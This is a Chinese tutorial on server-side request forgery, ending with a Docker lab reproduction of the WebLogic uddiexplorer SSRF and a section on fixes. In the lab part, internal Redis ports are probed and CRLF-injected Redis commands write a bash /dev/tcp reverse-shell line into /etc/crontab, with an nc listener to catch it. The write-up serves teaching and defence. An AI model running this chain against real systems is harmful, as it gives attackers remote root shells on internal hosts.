漏洞原理
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
通常用于控制web进而探测内网服务以及攻击内网脆弱应用。即当作跳板机,可作为ssrfsocks代理
漏洞产生原因
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
php下面函数的使用不当可能会导致SSRF:
curl()
file_get_contents()
fsockopen()
利用方式
1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)
测试方法
1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
2.dnslog等工具进行测试,看是否被访问
–可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址
–从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
–通过二级域名暴力猜解工具模糊猜测内网地址
4.直接返回的Banner、title、content等信息
5.留意bool型SSRF
Weblogic-SSRF漏洞复现
复现漏洞,采用docker来模拟漏洞环境
Docker-compose up -d
1.搭建过程不在详述,搭建完成后,访问 http://192.168.247.129:7001/uddiexplorer/ 无需登录即可查看uddiexplorer应用
SRF漏洞存在于http://192.168.247.129:7001/uddiexplorer/SearchPublicRegistries.jsp
我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001
我们访问的IP是内网ip地址,一般是拒绝访问的
当我们访问一个不存在的端口时,比如 http://127.0.0.1:7000
将会返回:could not connect over HTTP to server
当我们访问存在的端口时,比如 http://127.0.0.1:7001
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回:did not have a valid SOAP content-type
正常我们是无法访问内网的,但是通过页面返回错误的不同,我们可以探测内网端口的开放状态,进而知道内网
开启的服务,同时加以利用
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,
而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
我们可以通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址:
获得容器IP信息如下:
以上通过 SSRF漏洞探测内网中的 redis 服务器(docker环境的网段一般是172.*),已经发现172.19.0.2:6379可以连通。
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
首先对以上三条 redis 命令进行 url 编码:
接着将URL编码后的 Payload 增加换行符(redis 通过换行符来分隔每条命令,换行符是“\r\n”,URL编码也就是“%0D%0A”)后发送给服务器:
接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell
漏洞修复
1.禁止跳转
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
5.限制请求的端口为http常用的端口,比如 80、443、8080、8090
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。